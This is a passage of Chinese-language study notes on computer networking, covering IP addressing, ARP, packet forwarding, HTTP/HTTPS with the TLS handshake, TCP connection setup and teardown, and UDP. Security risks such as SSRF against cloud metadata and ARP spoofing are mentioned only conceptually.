Address)</h2><p>IP 地址是网络层的核心，用于跨越不同异构网络的端到端通信。目前主流版本为 IPv4 与 IPv6。</p><h3 id="1-IPv4-与无类域间路由-CIDR"><a href="#1-IPv4-与无类域间路由-CIDR" class="headerlink" title="1. IPv4 与无类域间路由 (CIDR)"></a>1. IPv4 与无类域间路由 (CIDR)</h3><p>IPv4 地址长度为 <strong>32 bits</strong>，采用点分十进制表示。现代网络已废弃传统的 A&#x2F;B&#x2F;C 类地址划分，全面采用 <strong>CIDR（无类域间路由）</strong>。</p><ul><li><p><strong>子网掩码 (Subnet Mask)</strong>：用于通过按位与（Bitwise AND）运算，将 IP 地址划分为<strong>网络地址</strong>与<strong>主机地址</strong>。</p></li><li><p><strong>CIDR 记法</strong>：如 <code>192.168.1.100/24</code>，表示前 24 位为网络前缀。</p></li></ul><p>显示可视化演示</p><p><strong>高频安全测试&#x2F;特殊 IPv4 地址</strong>：</p><ul><li><p><code>127.0.0.0/8</code>：本地回环接口（Loopback）。数据包不会触碰物理网卡，由操作系统网络栈直接内部处理。</p></li><li><p><code>169.254.0.0/16</code>：链路本地地址（APIPA）。在云原生安全（如 AWS&#x2F;Aliyun）中，<code>169.254.169.254</code> 经常被部署为实例元数据服务（IMDS），是 <strong>SSRF（服务端请求伪造）</strong> 漏洞获取高权限凭证的重点攻击目标。</p></li><li><p>私有网段（RFC 1918）：<code>10.0.0.0/8</code>, <code>172.16.0.0/12</code>, <code>192.168.0.0/16</code>。需配合 NAT 技术访问公网。</p></li></ul><h3 id="2-IPv6：下一代互联网协议"><a href="#2-IPv6：下一代互联网协议" class="headerlink" title="2. IPv6：下一代互联网协议"></a>2. IPv6：下一代互联网协议</h3><p>IPv6 地址长度扩展至 <strong>128 bits</strong>，采用冒号十六进制表示，从根本上解决了 IPv4 地址枯竭问题。</p><p><strong>格式简化规则</strong>：</p><ol><li><p>每组前导零可省略（如 <code>0DB8</code> 可写为 <code>DB8</code>）。</p></li><li><p>连续的全零组可使用双冒号 <code>::</code> 替代（一个地址中仅允许使用一次）。</p></li></ol><p><strong>核心地址类型</strong>：</p><ul><li><p><strong>全局单播地址 (Global Unicast)</strong>：类似于 IPv4 公网地址，前缀通常为 <code>2000::/3</code>。</p></li><li><p><strong>链路本地地址 (Link-Local)</strong>：以 <code>fe80::/10</code> 开头。IPv6 要求每个接口必须具备链路本地地址，用于同一链路内的邻居发现（NDP）和路由发现。</p></li><li><p><strong>组播地址 (Multicast)</strong>：以 <code>ff00::/8</code> 开头。IPv6 <strong>废弃了广播（Broadcast）</strong>，所有的广播功能均由组播替代，降低了网络整体的干扰。</p></li></ul><p><strong>SLAAC 与 EUI-64</strong>：</p><p>IPv6 支持无状态地址自动配置（SLAAC）。主机可利用路由器的前缀通告（RA），结合自身 MAC 地址生成接口标识符（EUI-64 规范：在 48 位 MAC 地址中间插入 <code>FF:FE</code> 并翻转第 7 位控制位），自动组装成 128 位全局可达地址。</p><hr><h2 id="四、-ARP-协议-Address-Resolution-Protocol"><a href="#四、-ARP-协议-Address-Resolution-Protocol" class="headerlink" title="四、 ARP 协议 (Address Resolution Protocol)"></a>四、 ARP 协议 (Address Resolution Protocol)</h2><p>在同一局域网内，网络层封装完成 IP 数据报后，数据链路层需要知道目标硬件的 MAC 地址才能进行帧的物理发送。ARP 协议（RFC 826）即扮演了将 IP 地址解析为 MAC 地址的桥梁角色。</p><h3 id="1-ARP-交互流程"><a href="#1-ARP-交互流程" class="headerlink" title="1. ARP 交互流程"></a>1. ARP 交互流程</h3><ol><li><p><strong>ARP Request（广播）</strong>：主机 A 查询路由表，发现目标 IP <code>192.168.1.2</code> 位于同网段。A 封装 ARP 请求报文，以广播 MAC 地址 <code>FF:FF:FF:FF:FF:FF</code> 发送：“谁是 <code>192.168.1.2</code>？请将你的 MAC 地址回复给 <code>192.168.1.1</code>。”</p></li><li><p><strong>ARP Reply（单播）</strong>：主机 B 收到广播后，发现目标 IP 与自身匹配。B 封装 ARP 应答报文，直接单播回复主机 A：“我是 <code>192.168.1.2</code>，我的 MAC 地址是 <code>00:1A:2B:XX:XX:XX</code>。”</p></li><li><p><strong>ARP Cache</strong>：主机 A 收到回复后，将该 IP-MAC 映射关系写入本地 ARP 缓存表，并在随后的数据传输中直接调用。</p></li></ol><h3 id="2-免费-ARP-Gratuitous-ARP"><a href="#2-免费-ARP-Gratuitous-ARP" class="headerlink" title="2. 免费 ARP (Gratuitous ARP)"></a>2. 免费 ARP (Gratuitous ARP)</h3><p>发送方主动发送目标 IP 为自身 IP 的 ARP 请求包。主要用于：</p><ul><li><p><strong>IP 冲突检测</strong>：主机刚分配到 IP 时，探测局域网内是否有设备使用了相同 IP。</p></li><li><p><strong>高可用性集群 (HA) 故障转移</strong>：当备用服务器接管主服务器的 VIP（虚拟 IP）时，主动发送免费 ARP 刷新全网交换机和主机的 ARP 缓存表。</p></li></ul><blockquote><p><strong>安全风险：ARP 欺骗 (ARP Spoofing&#x2F;Poisoning)</strong></p><p>ARP 协议是**无状态（Stateless）**且缺乏身份验证机制的。攻击者可向目标主机发送伪造的 ARP Reply 报文，宣称自己是网关。目标主机接收后会覆写本地 ARP 缓存，导致后续所有的公网出口流量被劫持到攻击者机器，形成中间人攻击（MITM）。</p></blockquote><hr><h2 id="五、-数据转发的全过程推演-路由机制"><a href="#五、-数据转发的全过程推演-路由机制" class="headerlink" title="五、 数据转发的全过程推演 (路由机制)"></a>五、 数据转发的全过程推演 (路由机制)</h2><p>理解网络通信的核心，在于明确数据包在穿越异构网络时，<strong>各层头部的动态变化规律</strong>。</p><p><strong>场景设定</strong>：主机 PC (<code>192.168.1.100</code>, MAC_A) 请求公网服务器 S (<code>8.8.8.8</code>, MAC_S)，途经本地网关路由器 R (内网接口 MAC_R1，外网接口 MAC_R2)。</p><h3 id="步骤-1：主机端路由决断与封装"><a href="#步骤-1：主机端路由决断与封装" class="headerlink" title="步骤 1：主机端路由决断与封装"></a>步骤 1：主机端路由决断与封装</h3><ol><li><p><strong>网络层决断</strong>：PC 将目标 IP <code>8.8.8.8</code> 与本地子网掩码进行按位与运算，发现目标不在本地网段。</p></li><li><p><strong>查路由表</strong>：PC 查找本地路由表，命中默认路由（<code>0.0.0.0/0</code>），确认下一跳 IP 为网关地址 <code>192.168.1.1</code>。</p></li><li><p><strong>数据链路层封装</strong>：PC 通过 ARP 缓存获取网关 MAC_R1。封装数据帧：</p><ul><li><p>源 IP：<code>192.168.1.100</code> | 目的 IP：<code>8.8.8.8</code></p></li><li><p>源 MAC：MAC_A | 目的 MAC：MAC_R1</p></li></ul></li></ol><h3 id="步骤-2：路由器解封装与跳步转发-Hop-by-Hop"><a href="#步骤-2：路由器解封装与跳步转发-Hop-by-Hop" class="headerlink" title="步骤 2：路由器解封装与跳步转发 (Hop-by-Hop)"></a>步骤 2：路由器解封装与跳步转发 (Hop-by-Hop)</h3><ol><li><p><strong>解帧与校验</strong>：网关路由器 R 收到物理信号，校验帧的目的 MAC 为 MAC_R1，接收该帧并剥离以太网帧头。</p></li><li><p><strong>路由查表</strong>：路由器提取 IP 数据报，检查目的 IP <code>8.8.8.8</code>，依据自身路由表（利用最长前缀匹配原则）确定出接口及下一跳路由器的 IP。</p></li><li><p><strong>重写帧头并发送</strong>：路由器 R 通过其外网接口所在的网络重新封装数据链路层帧。此时<strong>关键变化发生</strong>：</p><ul><li><p>源 IP：<code>192.168.1.100</code> （保持不变，暂不考虑 NAT 转换） | 目的 IP：<code>8.8.8.8</code> （保持不变）</p></li><li><p><strong>新源 MAC：MAC_R2</strong> （路由器的外网接口 MAC） | <strong>新目的 MAC：下一跳路由器的 MAC</strong></p></li></ul></li></ol><p><strong>核心路由定律</strong>：</p><p>在端到端的网络通信中（忽略 NAT 穿透场景），<strong>网络层 IP 报文的源与目的 IP 始终保持不变，用于标识通信的绝对起点与终点；而数据链路层的源与目的 MAC 地址在每一次经过路由器（每一跳）时，均会被剥离并重写，用于指引当前物理链路的传输方向。</strong></p><hr><h2 id="六、-总结与对比矩阵"><a href="#六、-总结与对比矩阵" class="headerlink" title="六、 总结与对比矩阵"></a>六、 总结与对比矩阵</h2><table><thead><tr><th><strong>维度</strong></th><th>**MAC 地址 **</th><th><strong>IP 地址</strong></th></tr></thead><tbody><tr><td><strong>工作层次</strong></td><td>数据链路层</td><td>网络层</td></tr><tr><td><strong>寻址范围</strong></td><td>单一物理网段 &#x2F; 广播域内</td><td>全球异构网络互联 &#x2F; 端到端跨网</td></tr><tr><td><strong>地址属性</strong></td><td>扁平化架构，固化于硬件 (可软件伪造)</td><td>层次化架构，基于拓扑动态分配</td></tr><tr><td><strong>长度与格式</strong></td><td>48 bits (十六进制)</td><td>IPv4: 32 bits &#x2F; IPv6: 128 bits</td></tr><tr><td><strong>传输动态</strong></td><td><strong>逐跳重写 (Hop-by-Hop Rewritten)</strong></td><td><strong>端到端保持不变 (End-to-End Preserved)</strong></td></tr><tr><td><strong>解析关联</strong></td><td>通过 <strong>ARP</strong> 将已知 IP 解析为 MAC</td><td>通过 <strong>DNS</strong> 将域名解析为 IP</td></tr><tr><td><strong>典型安全威胁</strong></td><td>MAC Spoofing, MAC 泛洪, ARP 欺骗</td><td>IP Spoofing, SSRF, DDoS</td></tr></tbody></table><h1 id="HTTP与HTTPS"><a href="#HTTP与HTTPS" class="headerlink" title="HTTP与HTTPS"></a>HTTP与HTTPS</h1><h2 id="一、-HTTP-协议基础与报文解构"><a href="#一、-HTTP-协议基础与报文解构" class="headerlink" title="一、 HTTP 协议基础与报文解构"></a>一、 HTTP 协议基础与报文解构</h2><p>HTTP 是一种无状态（Stateless）、基于文本的请求-响应（Request-Response）协议。它通常运行在 TCP 协议之上（HTTP&#x2F;3 除外，运行在基于 UDP 的 QUIC 之上），默认端口为 80。</p><h3 id="1-HTTP-报文的字节级结构"><a href="#1-HTTP-报文的字节级结构" class="headerlink" title="1. HTTP 报文的字节级结构"></a>1. HTTP 报文的字节级结构</h3><p>HTTP 的解析高度依赖于回车换行符（<code>CRLF</code>，即 <code>\r\n</code>）。无论是请求还是响应，报文均被严格划分为四个部分：</p><p><strong>以一个真实的 HTTP&#x2F;1.1 GET 请求为例（Raw 数据）：</strong></p><p>HTTP</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">GET /api/v1/user/profile?id=1001 HTTP/1.1\r\n</span><br><span class="line">Host: api.example.com\r\n</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...\r\n</span><br><span class="line">Accept: application/json\r\n</span><br><span class="line">Authorization: Bearer eyJhbGciOiJIUzI1NiIs...\r\n</span><br><span class="line">\r\n</span><br><span class="line">(此处为请求体 Message Body，GET 请求通常为空)</span><br></pre></td></tr></table></figure><p><strong>结构逐行拆解：</strong></p><ol><li><p><strong>请求行 (Request Line)</strong>：<code>方法 URI 协议版本\r\n</code>。定义了动作的意图。</p></li><li><p><strong>请求头 (Headers)</strong>：以 <code>Key: Value\r\n</code> 的格式呈现，提供关于请求的元数据。在 HTTP&#x2F;1.1 中，<code>Host</code> 字段是唯一强制要求的请求头（用于单台物理服务器处理多个虚拟主机域名）。</p></li><li><p><strong>空行 (Blank Line)</strong>：一个孤立的 <code>\r\n</code>。这是 HTTP 协议的<strong>边界标识符</strong>，告诉解析引擎：“头部结束，下面是正文数据”。</p></li><li><p><strong>请求体 (Body)</strong>：实际传输的业务数据（如 JSON、表单数据）。</p></li></ol><p><strong>响应报文结构（Response）：</strong></p><p>HTTP</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">HTTP/1.1 200 OK\r\n</span><br><span class="line">Date: Fri, 27 Feb 2026 08:00:00 GMT\r\n</span><br><span class="line">Content-Type: application/json; charset=utf-8\r\n</span><br><span class="line">Content-Length: 45\r\n</span><br><span class="line">\r\n</span><br><span class="line">&#123;&quot;status&quot;:&quot;success&quot;,&quot;data&quot;:&#123;&quot;username&quot;:&quot;admin&quot;&#125;&#125;</span><br></pre></td></tr></table></figure><p>响应报文的首行被称为<strong>状态行 (Status Line)</strong>，包含协议版本、状态码（Status Code）及其简短描述（Reason Phrase）。</p><h3 id="2-HTTP-的致命缺陷：明文传输"><a href="#2-HTTP-的致命缺陷：明文传输" class="headerlink" title="2. HTTP 的致命缺陷：明文传输"></a>2. HTTP 的致命缺陷：明文传输</h3><p>HTTP 设计之初并未考虑复杂的网络安全威胁，所有数据（包括 Cookie、Authorization 凭证、个人隐私）在 TCP 连接中均以**明文（Plaintext）**形式流动。这导致其面临三大核心威胁：</p><ol><li><p><strong>窃听风险 (Eavesdropping)</strong>：中间节点（路由器、代理、运营商）可轻易使用 Wireshark 等工具截获数据包，获取敏感凭证。</p></li><li><p><strong>篡改风险 (Tampering)</strong>：中间人可拦截并修改报文内容（如运营商劫持注入广告、恶意篡改支付金额），通信双方无法察觉。</p></li><li><p><strong>冒充风险 (Spoofing)</strong>：缺乏身份验证机制，客户端无法确认通信的服务器是否为真实的宿主（如 DNS 劫持导致的钓鱼网站）。</p></li></ol><hr><h2 id="二、-HTTPS-的安全基石：TLS-密码学体系"><a href="#二、-HTTPS-的安全基石：TLS-密码学体系" class="headerlink" title="二、 HTTPS 的安全基石：TLS 密码学体系"></a>二、 HTTPS 的安全基石：TLS 密码学体系</h2><p>为了解决上述三大威胁，HTTPS 应运而生。<strong>HTTPS 并非一个全新的协议</strong>，而是 HTTP 运行在 <strong>TLS (Transport Layer Security，传输层安全协议)</strong> 及其前身 SSL 之上。默认端口为 443。</p><p>TLS 构建了一个防窃听、防篡改、防伪造的安全隧道。其底层依赖于现代密码学的三大支柱：</p><h3 id="1-对称加密-Symmetric-Cryptography-——-解决窃听"><a href="#1-对称加密-Symmetric-Cryptography-——-解决窃听" class="headerlink" title="1. 对称加密 (Symmetric Cryptography) —— 解决窃听"></a>1. 对称加密 (Symmetric Cryptography) —— 解决窃听</h3><ul><li><p><strong>原理</strong>：加密和解密使用<strong>同一把密钥</strong>（如 AES、ChaCha20 算法）。</p></li><li><p><strong>优势</strong>：计算速度极快，适合海量 HTTP 业务数据的加密传输。</p></li><li><p><strong>困境</strong>：如何将这把对称密钥安全地跨越不安全的互联网交到对方手里？（即密钥分发难题）。</p></li></ul><h3 id="2-非对称加密-Asymmetric-Cryptography-——-解决密钥分发与身份验证"><a href="#2-非对称加密-Asymmetric-Cryptography-——-解决密钥分发与身份验证" class="headerlink" title="2. 非对称加密 (Asymmetric Cryptography) —— 解决密钥分发与身份验证"></a>2. 非对称加密 (Asymmetric Cryptography) —— 解决密钥分发与身份验证</h3><ul><li><p><strong>原理</strong>：生成一对数学相关的密钥：<strong>公钥（Public Key，公开）与私钥（Private Key，严格保密）</strong>。公钥加密的数据仅能用私钥解密；反之，私钥加密（签名）的数据仅能用公钥解密（验签）。常见的算法包括 RSA、ECC（椭圆曲线）。</p></li><li><p><strong>在 TLS 中的应用</strong>：服务器将公钥明文发给客户端，客户端生成一个随机的“对称密钥”，用服务器的公钥加密后发给服务器。由于只有服务器拥有私钥，中间人即使截获了加密后的对称密钥也无法解密。</p></li><li><p><strong>劣势</strong>：计算极其缓慢，消耗大量 CPU 资源，因此仅用于握手阶段的<strong>密钥协商</strong>，不用于加密庞大的 HTTP 报文。</p></li></ul><h3 id="3-哈希算法与数字证书-PKI-体系-——-解决篡改与冒充"><a href="#3-哈希算法与数字证书-PKI-体系-——-解决篡改与冒充" class="headerlink" title="3. 哈希算法与数字证书 (PKI 体系) —— 解决篡改与冒充"></a>3. 哈希算法与数字证书 (PKI 体系) —— 解决篡改与冒充</h3><ul><li><p><strong>哈希算法 (Hash)</strong>：如 SHA-256，将任意长度的数据映射为固定长度的摘要。结合对称密钥生成 MAC（消息认证码），保证报文完整性，防篡改。</p></li><li><p><strong>数字证书 (Digital Certificate)</strong>：如果黑客一开始就截获了通信，把自己的公钥冒充成服务器的公钥发给客户端（中间人攻击），非对称加密将形同虚设。为了防伪装，服务器必须向受信任的 <strong>CA（证书颁发机构）</strong> 申请数字证书。</p><ul><li><p>证书内包含：服务器的公钥、域名、有效期，以及 <strong>CA 对该证书内容的数字签名（使用 CA 的私钥加密的 Hash 值）</strong>。</p></li><li><p>客户端（操作系统&#x2F;浏览器）内置了根 CA 的公钥，可通过解密签名来验证证书的合法性，从而确保收到的服务器公钥是真实的。</p></li></ul></li></ul><hr><h2 id="三、-TLS-1-2-握手全景解构-The-TLS-Handshake"><a href="#三、-TLS-1-2-握手全景解构-The-TLS-Handshake" class="headerlink" title="三、 TLS 1.2 握手全景解构 (The TLS Handshake)"></a>三、 TLS 1.2 握手全景解构 (The TLS Handshake)</h2><p>TLS 握手是 HTTPS 建立的核心阶段。它的目标是通过上述密码学工具，在极度不安全的网络环境中，让客户端与服务端安全地协商出一条唯一的<strong>主密钥（Master Secret）</strong>。</p><p><strong>TLS 1.2 握手核心步骤提炼：</strong></p><ol><li><p><strong>Client Hello</strong>：客户端发送支持的 TLS 版本、密码套件列表（Cipher Suites，如 <code>TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384</code>），以及一个<strong>客户端随机数 (Client Random)</strong>。</p></li><li><p><strong>Server Hello &amp; Certificate</strong>：服务端确认 TLS 版本和密码套件，生成一个<strong>服务端随机数 (Server Random)</strong>，并将包含其公钥的<strong>数字证书</strong>发送给客户端。</p></li><li><p><strong>Client Key Exchange</strong>：</p><ul><li><p>客户端验证证书合法性。</p></li><li><p>客户端生成第三个随机数，称为 <strong>预主密钥 (Pre-Master Secret)</strong>。</p></li><li><p>客户端使用提取出的服务器公钥对预主密钥进行非对称加密，发送给服务端。</p></li></ul></li><li><p><strong>Master Secret Generation</strong>：服务端利用自己的私钥解密，获得预主密钥。此时，<strong>客户端和服务端同时拥有了三个随机数</strong>（Client Random, Server Random, Pre-Master Secret）。双方使用相同的伪随机函数（PRF），结合这三个随机数计算出最终的对称加密密钥——<strong>主密钥 (Master Secret&#x2F;Session Key)</strong>。</p></li><li><p><strong>Finished</strong>：双方互发 <code>Finished</code> 消息（被主密钥加密），验证加密通道连通性。随后正式开始 HTTP 应用层数据的对称加密传输。</p></li></ol><hr><h2 id="四、-总结与对比"><a href="#四、-总结与对比" class="headerlink" title="四、 总结与对比"></a>四、 总结与对比</h2><table><thead><tr><th><strong>维度</strong></th><th><strong>HTTP</strong></th><th><strong>HTTPS</strong></th></tr></thead><tbody><tr><td><strong>协议栈层次</strong></td><td>Application (应用层)</td><td>Application (基于 TLS 安全隧道)</td></tr><tr><td><strong>默认端口</strong></td><td><code>TCP 80</code></td><td><code>TCP 443</code></td></tr><tr><td><strong>数据状态</strong></td><td>明文 (Plaintext)</td><td>密文 (Ciphertext, 对称加密)</td></tr><tr><td><strong>连接建立开销</strong></td><td>TCP 三次握手 (1-RTT)</td><td>TCP 握手 + TLS 握手 (通常需 3-RTT，TLS 1.3 优化至 2-RTT)</td></tr><tr><td><strong>身份验证机制</strong></td><td>无验证 (极易遭受 DNS&#x2F;ARP 劫持)</td><td>PKI 数字证书体系 (强制校验服务器身份)</td></tr><tr><td><strong>性能消耗</strong></td><td>极低</td><td>存在 CPU 密码学计算开销（现代硬件下影响极小）</td></tr><tr><td><strong>现代协议演进</strong></td><td>HTTP&#x2F;1.1 (Keep-Alive, 队头阻塞问题)</td><td>HTTP&#x2F;2 (多路复用, 必须强制开启 TLS), HTTP&#x2F;3 (QUIC, 放弃 TCP 转向 UDP)</td></tr></tbody></table><h2 id="TCP的握手挥手"><a href="#TCP的握手挥手" class="headerlink" title="TCP的握手挥手"></a>TCP的握手挥手</h2><p>TCP 运行在传输层，其核心设计目标是提供<strong>面向连接的、可靠的、基于字节流的</strong>传输服务。</p><h3 id="1-TCP-报文首部核心字段解构"><a href="#1-TCP-报文首部核心字段解构" class="headerlink" title="1. TCP 报文首部核心字段解构"></a>1. TCP 报文首部核心字段解构</h3><p>TCP 通过复杂的报文头部来实现其控制逻辑，标准头部长度为 20 字节。</p><ul><li><p><strong>源端口与目的端口 (Source&#x2F;Destination Port)</strong>：各 16 bits。结合 IP 地址，构成唯一的通信套接字（Socket）四元组 <code>(Src IP, Src Port, Dst IP, Dst Port)</code>。</p></li><li><p><strong>序列号 (Sequence Number, SEQ)</strong>：32 bits。TCP 将发送的字节流进行整体编号，SEQ 表示当前报文段第一个字节的序号。用于解决网络包<strong>乱序</strong>和<strong>重复</strong>问题。</p></li><li><p><strong>确认号 (Acknowledgment Number, ACK)</strong>：32 bits。期望收到对方下一个报文段的第一个字节序号。表示该序号之前的所有数据均已正确接收。用于解决<strong>丢包</strong>问题。</p></li><li><p><strong>控制标志位 (Flags)</strong>：</p><ul><li><p><strong>SYN (Synchronize)</strong>：发起一个新连接。</p></li><li><p><strong>ACK (Acknowledgment)</strong>：确认号有效标志。</p></li><li><p><strong>FIN (Finish)</strong>：释放一个连接，表示发送方没有数据要发送了。</p></li><li><p><strong>RST (Reset)</strong>：强制重置连接（通常在异常或拒绝连接时发生）。</p></li></ul></li><li><p><strong>窗口大小 (Window Size)</strong>：16 bits。用于<strong>流量控制</strong>，告知对方本机当前的接收缓冲区还能容纳多少字节。</p></li></ul><h3 id="2-TCP-连接建立：三次握手-Three-Way-Handshake"><a href="#2-TCP-连接建立：三次握手-Three-Way-Handshake" class="headerlink" title="2. TCP 连接建立：三次握手 (Three-Way Handshake)"></a>2. TCP 连接建立：三次握手 (Three-Way Handshake)</h3><p>TCP 连接的建立不仅是确认双方在线，更核心的目的是<strong>同步双方的初始序列号 (ISN, Initial Sequence Number)</strong>。</p><ol><li><p><strong>第一次握手 (SYN)</strong>：客户端选择一个随机初始序列号 <code>seq = x</code>，设置 SYN&#x3D;1，发送给服务端。客户端进入 <code>SYN_SENT</code> 状态。</p></li><li><p><strong>第二次握手 (SYN + ACK)</strong>：服务端收到后，同样选择自己的随机初始序列号 <code>seq = y</code>，并确认客户端的序列号 <code>ack = x + 1</code>，设置 SYN&#x3D;1, ACK&#x3D;1，回复客户端。服务端进入 <code>SYN_RCVD</code> 状态。</p></li><li><p><strong>第三次握手 (ACK)</strong>：客户端收到服务端的 SYN+ACK，回复确认包 <code>ack = y + 1</code>, <code>seq = x + 1</code>，设置 ACK&#x3D;1。客户端进入 <code>ESTABLISHED</code> 状态。服务端收到此包后也进入 <code>ESTABLISHED</code> 状态。此时连接正式建立。</p></li></ol><blockquote><p><strong>硬核拷问：为什么必须是三次握手，两次不行吗？</strong> 核心原因是为了<strong>防止已失效的连接请求报文段突然又传送到了服务端，从而产生错误</strong>。 假设仅需两次握手：客户端发出 SYN，因网络延迟滞留。客户端超时重发 SYN，服务端收到并建立连接，通信完毕后断开。此时，最初那个滞留的 SYN 突然到达服务端。服务端误以为客户端又发起了新连接，回复 SYN+ACK 并直接进入 ESTABLISHED 状态。但客户端此刻根本没有建连意图，会直接丢弃该报文。而服务端会一直等待客户端发送数据，导致服务端资源（端口、内存）被白白消耗。三次握手赋予了客户端在最后关头“拒绝无效连接”的权力。</p></blockquote><h3 id="3-TCP-连接释放：四次挥手-Four-Way-Teardown"><a href="#3-TCP-连接释放：四次挥手-Four-Way-Teardown" class="headerlink" title="3. TCP 连接释放：四次挥手 (Four-Way Teardown)"></a>3. TCP 连接释放：四次挥手 (Four-Way Teardown)</h3><p>TCP 是<strong>全双工 (Full-Duplex)</strong> 的，允许单向关闭（半关闭 Half-Close）。因此断开连接需要双方独立发送 FIN 并被对方 ACK。</p><ol><li><p><strong>第一次挥手 (FIN)</strong>：客户端发送 <code>FIN=1, seq=u</code>，表示客户端没有数据要发送了。进入 <code>FIN_WAIT_1</code> 状态。</p></li><li><p><strong>第二次挥手 (ACK)</strong>：服务端收到 FIN，回复 <code>ACK=1, ack=u+1</code>。服务端进入 <code>CLOSE_WAIT</code> 状态。客户端收到后进入 <code>FIN_WAIT_2</code> 状态。<strong>此时连接处于半关闭状态</strong>，客户端无法发数据，但服务端如果还有剩余数据，仍可继续发送给客户端。</p></li><li><p><strong>第三次挥手 (FIN)</strong>：服务端数据发送完毕，发送 <code>FIN=1, seq=w</code>。进入 <code>LAST_ACK</code> 状态。</p></li><li><p><strong>第四次挥手 (ACK)</strong>：客户端收到 FIN，回复 <code>ACK=1, ack=w+1</code>。客户端进入 <strong><code>TIME_WAIT</code></strong> 状态。服务端收到后进入 <code>CLOSED</code> 状态。</p></li></ol><blockquote><p><strong>硬核拷问：深度解析 TIME_WAIT 状态（2MSL）</strong> 客户端在发送完最后一个 ACK 后，必须等待 2MSL（Maximum Segment Lifetime，报文最大生存时间，通常 Linux 默认 60 秒）才能进入 CLOSED 状态释放端口。 <strong>原因一：保证可靠的全双工连接终止。</strong> 如果最后的 ACK 丢失，服务端会触发超时重传，重新发送 FIN。如果客户端不等待直接关闭，收到重传的 FIN 时会回复 RST，导致服务端非正常关闭。TIME_WAIT 确保客户端有时间响应可能重传的 FIN。 <strong>原因二：防止历史报文段干扰新连接。</strong> 网络中可能残留属于该连接的延迟数据包。等待 2MSL 可确保本次连接产生的所有报文段在网络中彻底消亡，避免相同端口对（Tuple）建立新连接时，被旧的残留数据包干扰。</p></blockquote><h2 id="UDP"><a href="#UDP" class="headerlink" title="UDP"></a>UDP</h2><h3 id="2-1-UDP-的核心特性"><a href="#2-1-UDP-的核心特性" class="headerlink" title="2.1 UDP 的核心特性"></a>2.1 UDP 的核心特性</h3><p>UDP（User Datagram Protocol）是<strong>无连接、不可靠、数据报</strong>的协议，发送前不需要建立连接，尽力而为地传输，不保证到达，不保证顺序，不保证不重复。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">无连接：直接发送，不握手不可靠：没有确认、重传、排序机制数据报：有边界，一次发送就是一个完整的数据报，接收方一次收一个低开销：首部只有 8 字节，处理速度快</span><br></pre></td></tr></table></figure><h3 id="2-2-UDP-报文结构"><a href="#2-2-UDP-报文结构" class="headerlink" title="2.2 UDP 报文结构"></a>2.2 UDP 报文结构</h3><p>UDP 的结构极其简单，首部固定只有 <strong>8 字节</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">┌─────────────────────────────┬─────────────────────────────────┐│         源端口号（16位）      │          目的端口号（16位）       │├─────────────────────────────┼─────────────────────────────────┤│          长度（16位）         │           校验和（16位）          │├─────────────────────────────┴─────────────────────────────────┤│                           数据部分                              │└───────────────────────────────────────────────────────────────┘</span><br></pre></td></tr></table></figure><table><thead><tr><th>字段</th><th>大小</th><th>说明</th></tr></thead><tbody><tr><td>源端口</td><td>16位</td><td>可选，不需要回复时可填 0</td></tr><tr><td>目的端口</td><td>16位</td><td>必须，标识接收进程</td></tr><tr><td>长度</td><td>16位</td><td>UDP 首部+数据的总长度，最小值 8</td></tr><tr><td>校验和</td><td>16位</td><td>可选，用于差错检测，IPv4 中可置 0 跳过</td></tr><tr><td>对比 TCP 的 20 字节最小首部，UDP 只有 8 字节，处理开销极小。</td><td></td><td></td></tr></tbody></table><h3 id="2-3-UDP-没有的东西"><a href="#2-3-UDP-没有的东西" class="headerlink" title="2.3 UDP 没有的东西"></a>2.3 UDP 没有的东西</h3><p>理解 UDP 最好的方式是列出它<strong>不具备</strong>的 TCP 特性，以及为什么：</p><table><thead><tr><th>TCP 特性</th><th>UDP 有无</th><th>影响</th></tr></thead><tbody><tr><td>三次握手</td><td>无</td><td>无连接延迟，但无法确认对方在线</td></tr><tr><td>确认机制</td><td>无</td><td>发完不管，不知道对方有没有收到</td></tr><tr><td>重传机制</td><td>无</td><td>丢包不重发</td></tr><tr><td>序号&#x2F;排序</td><td>无</td><td>多包乱序不纠正</td></tr><tr><td>流量控制</td><td>无</td><td>可能淹没接收方</td></tr><tr><td>拥塞控制</td><td>无</td><td>网络拥塞时仍全速发送</td></tr><tr><td>全双工</td><td>有</td><td>双方都可发送</td></tr></tbody></table><h2 id="3-区别"><a href="#3-区别" class="headerlink" title="3. 区别"></a>3. 区别</h2><table><thead><tr><th>维度</th><th>TCP</th><th>UDP</th></tr></thead><tbody><tr><td>连接方式</td><td>面向连接（需握手）</td><td>无连接（直接发）</td></tr><tr><td>可靠性</td><td>可靠，保证到达、有序、不重复</td><td>不可靠，尽力而为</td></tr><tr><td>数据单位</td><td>字节流（无边界）</td><td>数据报（有边界）</td></tr><tr><td>首部大小</td><td>最小 20 字节</td><td>固定 8 字节</td></tr><tr><td>速度</td><td>慢（确认、重传、拥塞控制开销）</td><td>快（无额外机制）</td></tr><tr><td>拥塞控制</td><td>有</td><td>无</td></tr><tr><td>广播&#x2F;多播</td><td>不支持</td><td>支持</td></tr><tr><td>适用场景</td><td>要求数据完整</td><td>要求低延迟</td></tr></tbody></table><h2 id="4-各自的适用场景"><a href="#4-各自的适用场景" class="headerlink" title="4. 各自的适用场景"></a>4. 各自的适用场景</h2><h3 id="4-1-TCP-适合"><a href="#4-1-TCP-适合" class="headerlink" title="4.1 TCP 适合"></a>4.1 TCP 适合</h3><p>对数据<strong>完整性要求高</strong>、可以接受延迟的场景：</p><ul><li><strong>HTTP&#x2F;HTTPS</strong>：网页传输，数据缺失直接显示错误</li><li><strong>FTP</strong>：文件传输，文件损坏不可接受</li><li><strong>SSH</strong>：远程登录，指令不能乱序或丢失</li><li><strong>SMTP&#x2F;POP3</strong>：邮件传输</li><li><strong>数据库连接</strong>：MySQL、PostgreSQL 等</li></ul><h3 